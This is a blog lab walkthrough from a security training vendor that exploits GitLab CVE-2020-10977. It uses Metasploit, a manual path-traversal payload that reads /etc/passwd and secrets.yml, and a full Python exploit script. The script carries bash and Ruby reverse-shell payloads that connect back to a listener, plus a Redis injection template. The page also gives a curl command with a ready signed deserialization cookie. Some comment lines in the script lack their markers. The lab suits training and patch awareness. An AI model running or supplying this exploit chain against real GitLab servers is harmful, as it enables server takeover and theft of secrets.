blog
GitLab_File_Read_Remote_C ...
09 September 22

GitLab_File_Read_Remote_Code_Execution

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Description

In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This leads to the arbitrary file read via the UploadsRewriter and remote command execution on the vulnerable GitLab server. The problem was discovered by William Bowling.

This exercise is to understand how to exploit the vulnerable Gitlab (CVE-2020-10977) to gain a meterpreter session on the target machine.

Purpose: We are learning how to exploit Gitlab using the Metasploit Framework module and will exploit the Gitlab application manually to better understand the vulnerability. Also, we will use the python scripts for exploiting Gitlab. 

Technical difficulty: Beginner


What is GitLab?

GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. Self-host GitLab CE on your own servers, in a container, or on a cloud provider.

GitLab is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently, while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency and traceability.

GitLab is an open core company which develops software for the software development lifecycle with 30 million estimated registered users and more than 1 million active license users, and has an active community of more than 2,500 contributors. GitLab openly shares more information than most companies and is public by default, meaning our projects, strategy, direction and metrics are discussed openly and can be found within our website. Our values are Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging , Iteration, and Transparency (CREDIT) and these form our culture.

Source: https://about.gitlab.com/company/

Also, before we get started, we highly recommend you to please refer this excellent blog by snovvcrash.

Vulnerable Code:

```
   @text.gsub(@pattern) do |markdown|
          file = find_file(@source_project, $~[:secret], $~[:file])
          break markdown unless file.try(:exists?)



          klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
          moved = klass.copy_to(file, target_parent)
...
   def find_file(project, secret, file)
        uploader = FileUploader.new(project, secret: secret)
        uploader.retrieve_from_store!(file)
        uploader
      end
```

There is no restriction on what file can be accessed; because of that, path traversal can be used to copy any file, depending on the file's permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc

Lab Environment

In this lab environment, the user will access a Kali GUI instance. A vulnerable machine GitLab server deployed on http://demo.ine.local. 

Goal after completing this scenario: Exploit the Gitlab server using the Metasploit framework module and gain the shell. Then read the flag.

gitlab_file_read_0.png

Tools

The best tools for this lab are:

- Nmap

- Bash Shell

- Metasploit Framework

- Python

Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!

[CVE-2021-22205]

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a local parent directory, but the software does not properly neutralize unique elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Read More: https://debricked.com/vulnerability-database/vulnerability/CVE-2020-10977

Affected products

- GitLab EE/CE 8.5 to 12.9

Solution

Step 1: Open the lab link to access the Kali machine.

Kali machine

gitlab_file_read_1.png

Step 2: Check if the provided machine/domain is reachable.

Command

ping -c 4 demo.ine.local

gitlab_file_read_2.jpg

The provided machine is reachable, and we also found the target's IP address.

Step 3: Check all open ports on the machine.


Command

nmap demo.ine.local

gitlab_file_read_3.jpg

Two ports are open. The GitLab server is running on port 80.

Step 4: Run the firefox browser and access port 80 to identify the GitLab server.

URL: http://demo.ine.local

gitlab_file_read_4.jpg


The target is running the Gitlab server.

We can register a user on the target machine. Let's create a user i.e. test123:password_123

gitlab_file_read_4_1.jpg

Step 5: Run the Metasploit framework and search for the GitLab exploit module.

Commands

msfconsole -q

search gitlab_file

gitlab_file_read_5.jpg

There is one Metasploit module available. exploit/multi/http/gitlab_file_read_rce 

Step 6: Use the gitlab_exif_rce exploit module and check all available options.

GitLab File Read Remote Code Execution

>This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.

Source: https://www.rapid7.com/db/modules/exploit/multi/http/gitlab_file_read_rce/

Commands

use exploit/multi/http/gitlab_file_read_rce

show options

gitlab_file_read_6.jpg

The port is set to 80, which is the GitLab server port. Also, set RHOSTS and USERNAME, PASSWORD, which we have created, then run the module.

Commands

set RHOSTS demo.ine.local

set USERNAME test123

set PASSWORD password_123

check

gitlab_file_read_6_1.jpg

The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.

The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.

Exploit the server.

Commands:

exploit

id

gitlab_file_read_6_2.jpg


We have gained a shell with git user privileges.

Step 7: Read the flag.

Commands:

ls ../../

cat ../../flag.txt

gitlab_file_read_7.jpg

FLAG: 4f4de082e7e9b7e9305738e67df104be


Exploiting GitLab Manually

We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.

Step 8: Let's first login to the Gitlab server and create two projects.

eg, project1 and project2

gitlab_file_read_8.jpg

gitlab_file_read_8_1.jpggitlab_file_read_8_2.jpggitlab_file_read_8_3.jpggitlab_file_read_8_4.jpg

Now, click on project1 and create a New Issue. 

URL: http://demo.ine.local/test123/project1/issues/new

Payload to read /etc/passwd file.

![a](https://assets.ine.com/content/labs/vulnerability-labs/GitLab_File_Read_Remote_Code_Execution/passwd)

gitlab_file_read_8_5.jpg


Submit the issue

gitlab_file_read_8_6.jpg

Now, move the issue to project2. Once you move, you will be redirected to the project2 issue page.

gitlab_file_read_8_7.jpg

gitlab_file_read_8_8.jpg

Download the /etc/passwd file

gitlab_file_read_8_9.jpg

gitlab_file_read_8_10.jpg

We have successfully exploited path traversal vulnerability.

Now, read the secrets.yml file where we can get secret_key_base.

This time create another issue in project2 that will read the secrets.yml file.

URL: http://demo.ine.local/test123/project2/issues/new

gitlab_file_read_8_10_1.jpg

Payload to read secrets.yml file. 

By default, the secrets.yml file path is /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

gitlab_file_read_8_11.jpg


Submit the issue

gitlab_file_read_8_11_1.jpg

This time move the issue to project1.

gitlab_file_read_8_12.jpg

Now, download the secrets.yml file and read it.

gitlab_file_read_8_13.jpg

gitlab_file_read_8_14.jpg

gitlab_file_read_8_15.jpg

We have found the secret_key_base: 

07577ae8da5ccdc224f6267d2cb05da4e846f6fc17d00bc7d5b0541d95697de2a5e5d6bb6616d0241990e360a932ea76974b8a2f0261ceab8af54822f2cf97c5

Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won't be the case. However, many python scripts create the payload for this vulnerability that can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.

The excellent Python script was written by dotPY-hax. We will use it to run commands on the target machine.

Step 9: Running the python script to exploit the LFI and command injection vulnerability. We also make a slight change in the code that will print the final signed experimentation_subject_id cookie that can be used to exploit the target manually using curl.

Python Script

```
"""
Gitlab RCE+LFI version <= 11.4.7, 12.4.0-12.8.1 - EDUCATIONAL USE ONLY
CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF)
CVE-2020-10977
"""



import base64
import hashlib
import hmac
from html.parser import HTMLParser
import random
import string
import sys
import time
import urllib.parse
import urllib3



import requests



urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)




class GitlabRCE:
    description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!"



    def __init__(self, gitlab_url, local_ip):
        self.url = gitlab_url
        self.local_ip = local_ip
        self.port = 42069
        change this if the gitlab has restricted email domains
        self.email_domain = "gmail.htb"
        self.session = requests.session()
        self.username = ""
        self.password = ""
        self.projects = []
        self.issues = []



    def get_authenticity_token(self, url, i=-1):
        result = self.session.get(url, verify=False)
        parser = GitlabParse()
        token = parser.feed(result.text, i)
        if not token:
            print("could not get token!")
            self.abort()
        return token



    def randomize(self):
        sequence = string.ascii_letters + string.digits
        random_list = random.choices(sequence, k=10)
        random_string = "".join(random_list)
        return random_string



    def register_user(self):
        authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in")
        self.username = self.randomize()
        self.password = self.randomize()
        email = "{}@{}".format(self.username, self.email_domain)
        data = {"new_user[email]": email, "new_user[email_confirmation]": email, "new_user[username]": self.username,
                "new_user[name]": self.username, "new_user[password]": self.password,
                "authenticity_token": authenticity_token}
        result = self.session.post(self.url + "/users", data=data, verify=False)
        print("registering {}:{} - {}".format(self.username, self.password, result.status_code))



    def login_user(self):
        authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in", 0)
        data = {"authenticity_token": authenticity_token, "user[login]": self.username, "user[password]": self.password}
        result = self.session.post(self.url + "/users/sign_in", data=data, verify=False)
        print(result.status_code)



    def delete_user(self):
        authenticity_token = self.get_authenticity_token(self.url + "/profile/account")
        data = {"authenticity_token": authenticity_token, "_method": "delete", "password": self.password}
        result = self.session.post(self.url + "/users", data=data, verify=False)
        print("delete user {} - {}".format(self.username, result.status_code))



    def create_empty_project(self):
        authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
        project = self.randomize()
        self.projects.append(project)
        data = {"authenticity_token": authenticity_token, "project[ci_cd_only]": "false", "project[name]": project,
                "project[path]": project, "project[visibility_level]": "0",
                "project[description]": "all your base are belong to us"}
        result = self.session.post(self.url + "/projects", data=data, verify=False)
        print("creating project {} - {}".format(project, result.status_code))



    def create_issue(self, project_id, text):
        issue_link = "{}/{}/{}/issues".format(self.url, self.username, project_id)
        authenticity_token = self.get_authenticity_token(issue_link + "/new")
        issue_title = self.randomize()
        self.issues.append(issue_title)
        data = {"authenticity_token": authenticity_token, "issue[title]": issue_title, "issue[description]": text}
        result = self.session.post(issue_link, data=data, verify=False)
        print("creating issue {} for project {} - {}".format(issue_title, project_id, result.status_code))



    def main(self):
        print("main is not implemented")



    def prepare_payload(self):
        print("prepare_payload is not implemented")



    def abort(self):
        print("Something went wrong! ABORT MISSION!")
        exit()



class GitlabRCE1147(GitlabRCE):
    description = "RCE for Version <=11.4.7"



    def exploit_project_creation(self, payload):
        authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
        project = self.randomize()
        self.projects.append(project)
        payload_template = """git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
    multi
    sadd resque:gitlab:queues system_hook_push
    lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
    exec
    exec
    exec"""
        using replace for formating is shit!! too bad...
        payload = payload_template.replace("{payload}", payload)
        data = {"authenticity_token": authenticity_token, "project[import_url]": payload,
                "project[ci_cd_only]": "false", "project[name]": project,
                "project[path]": project, "project[visibility_level]": "0",
                "project[description]": "all your base are belong to us"}
        result = self.session.post(self.url + "/projects", data=data, verify=False)
        print("hacking in progress - {}".format(result.status_code))



    def prepare_payload(self):
        payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.local_ip, self.port)
        wrapper = "echo {base64_payload} | base64 -d | /bin/bash"
        base64_payload = base64.b64encode(payload.encode()).decode("utf-8")
        payload = wrapper.format(base64_payload=base64_payload)
        return payload



    def main(self):
        self.register_user()
        self.exploit_project_creation(self.prepare_payload())
        time.sleep(10)
        self.delete_user()




class GitlabRCE1281LFI(GitlabRCE):
    description = "LFI for version 10.4-12.8.1 and maybe more"



    def __init__(self, gitlab_url, local_ip, file_to_lfi="/etc/passwd"):
        super(GitlabRCE1281LFI, self).__init__(gitlab_url, local_ip)
        self.file_to_lfi = file_to_lfi



    def get_file(self, url, filename):
        print("Grabbing file {}".format(filename))
        result = self.session.get(url, verify=False)
        return result.text



    def get_technical_id_of_project(self, project_id):
        url = "{}/{}/{}".format(self.url, self.username, project_id)
        result = self.session.get(url, verify=False)
        parser = ProjectIDParse()
        technical_id = parser.feed(result.text)
        return technical_id



    def extract_link_from_issue_json(self, issue_json, project_id):
        field = issue_json["description"]
        file_name = field[field.find("[") + 1:field.find("]")]
        file_path = field[field.find("(") + 1:field.find(")")]
        url = "{}/{}/{}{}".format(self.url, self.username, project_id, file_path)
        return url, file_name



    def lfi_path(self):
        return "![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})".format(
            self.file_to_lfi)



    def exploit_move_issue(self):
        project = self.projects[0]
        other_project = self.projects[-1]
        url = "{}/{}/{}/issues/1".format(self.url, self.username, project)
        technical_project_id_other_project = self.get_technical_id_of_project(other_project)
        authenticity_token = self.get_authenticity_token(url)
        issue_json = {"move_to_project_id": technical_project_id_other_project}
        self.session.headers["X-CSRF-Token"] = authenticity_token
        self.session.headers["Referer"] = url
        result = self.session.post(url + "/move", json=issue_json, verify=False)
        print("moving issue from {} to {} - {}".format(project, other_project, result.status_code))
        url, filename = self.extract_link_from_issue_json(result.json(), other_project)
        file_content = self.get_file(url, filename)
        return file_content



    def main(self):
        self.register_user()
        self.create_empty_project()
        self.create_empty_project()
        self.create_issue(self.projects[0], self.lfi_path())
        file_content = self.exploit_move_issue()
        print(file_content)
        self.delete_user()




class GitlabRCE1281RCE(GitlabRCE1281LFI):
    description = "RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP"



    def parse_secrets(self, secrets):
        secret_key_base = secrets[secrets.find("secret_key_base: ") + 17:secrets.find("otp_key_base") - 3]
        return secret_key_base



    def get_ruby_shit_byte(self):
        ruby marshal REEEEEEEEEEEEEE
        length = len(self.local_ip) + len(str(self.port)) - 8
        possible_shit_bytes = "jklmnopqrstuvw"
        return possible_shit_bytes[length]



    def build_payload(self, secret):
        payload = "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"{ruby_shit_byte}exit if fork;c=TCPSocket.new(\"{ip}\",{port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT"
        payload = payload.replace("{ip}", self.local_ip).replace("{port}", str(self.port)).replace("{ruby_shit_byte}",
                                                                                                   self.get_ruby_shit_byte())
        key = hashlib.pbkdf2_hmac("sha1", password=secret.encode(), salt=b"signed cookie", iterations=1000, dklen=64)
        base64_payload = base64.b64encode(payload.encode())
        digest = hmac.new(key, base64_payload, digestmod=hashlib.sha1).hexdigest()
        return base64_payload.decode() + "--" + digest



    def send_payload(self, payload):
        cookie = {"experimentation_subject_id": payload}
        print(cookie)
        result = self.session.get(self.url + "/users/sign_in", cookies=cookie, verify=False)
        print("deploying payload - {}".format(result.status_code))



    def main(self):
        self.file_to_lfi = "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml"
        self.register_user()
        self.create_empty_project()
        self.create_empty_project()
        self.create_issue(self.projects[0], self.lfi_path())
        file_contents = self.exploit_move_issue()
        secret = self.parse_secrets(file_contents)
        payload = self.build_payload(secret)
        self.send_payload(payload)
        self.delete_user()




class GitlabRCE1281LFIUser(GitlabRCE1281LFI):
    def main(self):
        self.file_to_lfi = self.ask_for_lfi_path()
        super(GitlabRCE1281LFIUser, self).main()



    def ask_for_lfi_path(self):
        lfi_path = input(
            "please type in the fully qualified path of the file you want to LFI. Uses {} when left empty: ".format(
                self.file_to_lfi))
        lfi_path = lfi_path.strip()
        if not lfi_path:
            return self.file_to_lfi
        return lfi_path




class GitlabVersion(GitlabRCE):
    def test(self):
        try:
            result = self.session.get(self.url, verify=False)
            if result.status_code not in [200, 302]:
                raise Exception("Host {} seems down".format(self.url))
        except Exception as e:
            print(e)
            self.abort()



    def get_version(self):
        result = self.session.get(self.url + "/help", verify=False)
        print("Getting version of {} - {}".format(self.url, result.status_code))
        parse = VersionParse()
        version = parse.feed(result.text)
        return version



    def main(self):
        self.test()
        self.register_user()
        version = self.get_version()
        print("The Version seems to be {}! Choose wisely".format(version))
        self.delete_user()
        if not version:
            print("Could not get version!")
            self.abort()




class GitlabParse(HTMLParser):
    def __init__(self):
        super(GitlabParse, self).__init__()
        self.tokens = []
        self.current_name = ""



    def handle_starttag(self, tag, attrs):
        if tag == "input":
            for name, value in attrs:
                if self.current_name == "authenticity_token" and name == "value":
                    self.tokens.append(value)
                self.current_name = value
        elif tag == "meta":
            for name, value in attrs:
                if self.current_name == "csrf-token":
                    self.tokens.append(value)
                self.current_name = value



    def feed(self, data, i):
        super(GitlabParse, self).feed(data)
        try:
            return self.tokens[i]
        except IndexError:
            return None




class ProjectIDParse(HTMLParser):
    def __init__(self):
        super(ProjectIDParse, self).__init__()
        self.project_found = False
        self.project_id = None



    def feed(self, data):
        super(ProjectIDParse, self).feed(data)
        return self.project_id



    def handle_starttag(self, tag, attrs):
        for name, value in attrs:
            if self.project_found and name == "value":
                self.project_id = int(value)
                return
            self.project_found = name == "id" and value == "project_id"




class VersionParse(HTMLParser):
    def __init__(self):
        super(VersionParse, self).__init__()
        self.found_version = False
        self.version = None



    def handle_starttag(self, tag, attrs):
        if tag == "a":
            for name, value in attrs:
                self.found_version = name == "href" and "/tags/v" in value



    def handle_data(self, data):
        if self.found_version and not self.version:
            self.version = data



    def feed(self, data):
        super(VersionParse, self).feed(data)
        return self.version




class Runner:
    def __init__(self):
        self.available_classes = [GitlabRCE1147, GitlabRCE1281LFIUser, GitlabRCE1281RCE]
        self.local_ip = None
        self.gitlab_url = None
        self.run()



    def banner(self):
        print("Gitlab Exploit by dotPY [insert fancy ascii art]")



    def get_version(self):
        class_ = GitlabVersion(self.gitlab_url, self.local_ip)
        class_.main()



    def list_options_and_choose(self):
        number = None
        for i, class_ in enumerate(self.available_classes):
            print("[{}] - {} - {}".format(i, class_.__name__, class_.description))
        while number not in range(len(self.available_classes)):
            try:
                number = int(input("type a number and hit enter to choose exploit: "))
            except ValueError:
                pass



        return self.available_classes[number]



    def run_chosen_exploit(self, chosen_exploit):
        class_ = chosen_exploit(self.gitlab_url, self.local_ip)
        input("Start a listener on port {port} and hit enter (nc -vlnp {port})".format(port=class_.port))
        class_.main()



    def run(self):
        args = sys.argv
        if len(args) != 3:
            print("usage: {} <http://gitlab:port> <local-ip>".format(args[0]))
            return
        else:
            self.gitlab_url = args[1]
            self.local_ip = args[2]
            self.start()



    def start(self):
        self.banner()
        self.get_version()
        class_ = self.list_options_and_choose()
        self.run_chosen_exploit(class_)




r = Runner()
```

Copy and paste the above code in the Kali GUI and run the PoC code to exploit LFI and perform RCE.

gitlab_file_read_9.jpg


Check the script help option.

Command:

python3 PoC.py --help

gitlab_file_read_9_1.jpg

Launch the script.

Note: Make sure you enter a valid local host IP address

Command:

python3 PoC.py http://demo.ine.local 10.10.27.2

Choose option 1: [1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more

We aren't performing RCE, so we can skip the Start a listener on port 42069 and hit enter (nc -vlnp 42069) option. Press enter.

Please type in the fully qualified path of the file you want to LFI. Uses /etc/passwd when left empty:

Press enter again to read the /etc/passwd file.

gitlab_file_read_9_2.jpg

Successfully read the /etc/passwd file.

Again, launch the script, and this time select option 2 for RCE and gain the netcat reverse shell.

Command:

python3 PoC.py http://demo.ine.local 10.10.27.2

gitlab_file_read_9_3.jpg

Start a listener on port 42069 and hit enter (nc -vlnp 42069).

Start netcat listener

Command:

nc -vlnp 42069

gitlab_file_read_9_4.jpg

gitlab_file_read_9_5.jpg

Important: Do not press enter, if you hit the enter key, the netcat shell will die.

gitlab_file_read_9_6.jpg

We have successfully exploited the Gitlab server using the python script.

We can also notice the final signed experimentation_subject_id cookie that can be used to execute commands on the target server. 

gitlab_file_read_9_7.jpg

Copy the value and send it using curl to receive the netcat session again. Kill the existing session first.

gitlab_file_read_9_8.jpg

Command:

```
curl -vvv 'http://demo.ine.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJInFleGl0IGlmIGZvcms7Yz1UQ1BTb2NrZXQubmV3KCIxMC4xMC4yNy4yIiw0MjA2OSk7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7CVQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7CVQ=--06589556c6901eb902fdb2bd308ff0f8f6c542bb"
```

gitlab_file_read_9_9.jpg

Gained the netcat shell. 

gitlab_file_read_9_10.jpg

Similarly, we can read sensitive log files and reset the existing user's password. 

We highly recommend you to refer to this blog: 

https://snovvcrash.rocks/2021/02/21/exploiting-cve-2020-10977-on-old-gitlab.html

Conclusion

We have learned to exploit the vulnerable Gitlab versions. This is a serious issue. One can easily compromise the Gitlab server by using these issues.

Always keep the system and Gitlab application updated. Keep an eye on the vulnerability (CVE) database for specific components that will help you understand the vulnerability type. One can quickly mitigate the issue before an online patch or a new version.

Also, Gitlab has its official blog post regarding Gitlab patches and vulnerability details. Highly recommended for all Gitlab-related information: https://about.gitlab.com/releases/categories/releases/


References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo